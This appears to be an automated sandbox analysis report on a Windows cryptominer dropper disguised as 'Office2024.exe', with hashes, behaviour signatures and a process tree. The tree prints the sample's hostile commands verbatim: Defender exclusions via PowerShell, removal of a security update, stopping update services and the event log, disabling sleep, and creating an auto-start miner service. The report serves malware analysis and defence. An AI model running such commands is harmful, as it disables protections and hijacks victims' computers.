Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-08-2024 20:17

General

  • Target

    2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459.exe

  • Size

    416KB

  • MD5

    f5d7b79ee6b6da6b50e536030bcc3b59

  • SHA1

    751b555a8eede96d55395290f60adc43b28ba5e2

  • SHA256

    2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459

  • SHA512

    532b17cd2a6ac5172b1ddba1e63edd51ab53a4527204415241e3a78e8ffeb9728071bde5ae1eefabefd2627f00963f8a5458668cd7b8df041c8683252ff56b46

  • SSDEEP

    12288:ISqMakU3v+GYLWIjD9dSbvBG5u2uQjdQco:jq53v+G4Wwub8Ljaco

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459.exe
    "C:\Users\Admin\AppData\Local\Temp\2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3236
    • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
      "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1124
      • C:\Users\Admin\AppData\Local\Temp\1000004001\Office2024.exe
        "C:\Users\Admin\AppData\Local\Temp\1000004001\Office2024.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2604
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3020
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3520
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            5⤵
              PID:4280
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            4⤵
            • Launches sc.exe
            PID:3400
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            4⤵
            • Launches sc.exe
            PID:4320
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            4⤵
            • Launches sc.exe
            PID:1408
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            4⤵
            • Launches sc.exe
            PID:4624
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            4⤵
            • Launches sc.exe
            PID:4856
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2856
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4644
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4728
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3948
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "QKJNEQWA"
            4⤵
            • Launches sc.exe
            PID:3164
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "QKJNEQWA" binpath= "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe" start= "auto"
            4⤵
            • Launches sc.exe
            PID:4664
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            4⤵
            • Launches sc.exe
            PID:3552
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "QKJNEQWA"
            4⤵
            • Launches sc.exe
            PID:3488
    • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
      C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
      1⤵
      • Executes dropped EXE
      PID:2720
    • C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
      C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:540
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2676
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4620
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4868
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:464
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:820
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:1132
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:2528
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:2044
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3320
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:556
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3764
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4784
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:2928
          • C:\Windows\system32\cmd.exe
            cmd.exe
            2⤵
            • Blocklisted process makes network request
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4100
        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          1⤵
          • Executes dropped EXE
          PID:2420
        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          1⤵
          • Executes dropped EXE
          PID:1660

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe

          Filesize

          416KB

          MD5

          f5d7b79ee6b6da6b50e536030bcc3b59

          SHA1

          751b555a8eede96d55395290f60adc43b28ba5e2

          SHA256

          2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459

          SHA512

          532b17cd2a6ac5172b1ddba1e63edd51ab53a4527204415241e3a78e8ffeb9728071bde5ae1eefabefd2627f00963f8a5458668cd7b8df041c8683252ff56b46

        • C:\Users\Admin\AppData\Local\Temp\1000004001\Office2024.exe

          Filesize

          2.7MB

          MD5

          df92abd264b50c9f069246a6e65453f0

          SHA1

          f5025a44910ceddf26fb3fffb5da28ea93ee1a20

          SHA256

          bc7d010eb971dbc9cbeedc543f93bb1b6924d57597e213dbe10c2c1efd8d0296

          SHA512

          a3f48831efa65cea6a2cf313f698b59d84119023196e11b1266d937a5b4c05aa4aab67c6d40450bef5c9245b46316980906fa73196d892f2880abc2b1b863455

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k5fraanm.gcj.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/2676-71-0x0000018EA08A0000-0x0000018EA08AA000-memory.dmp

          Filesize

          40KB

        • memory/2676-63-0x0000018EA0620000-0x0000018EA063C000-memory.dmp

          Filesize

          112KB

        • memory/2676-64-0x0000018EA0640000-0x0000018EA06F5000-memory.dmp

          Filesize

          724KB

        • memory/2676-65-0x0000018EA0600000-0x0000018EA060A000-memory.dmp

          Filesize

          40KB

        • memory/2676-66-0x0000018EA0860000-0x0000018EA087C000-memory.dmp

          Filesize

          112KB

        • memory/2676-67-0x0000018EA0610000-0x0000018EA061A000-memory.dmp

          Filesize

          40KB

        • memory/2676-68-0x0000018EA0880000-0x0000018EA089A000-memory.dmp

          Filesize

          104KB

        • memory/2676-69-0x0000018EA0840000-0x0000018EA0848000-memory.dmp

          Filesize

          32KB

        • memory/2676-70-0x0000018EA0850000-0x0000018EA0856000-memory.dmp

          Filesize

          24KB

        • memory/2928-76-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2928-81-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2928-78-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2928-77-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2928-75-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/2928-74-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3020-30-0x000002836F8D0000-0x000002836F8F2000-memory.dmp

          Filesize

          136KB

        • memory/4100-91-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-85-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-89-0x000001A1A9A50000-0x000001A1A9A70000-memory.dmp

          Filesize

          128KB

        • memory/4100-88-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-83-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-90-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-87-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-86-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-84-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-82-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-93-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-94-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-92-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-95-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4100-96-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB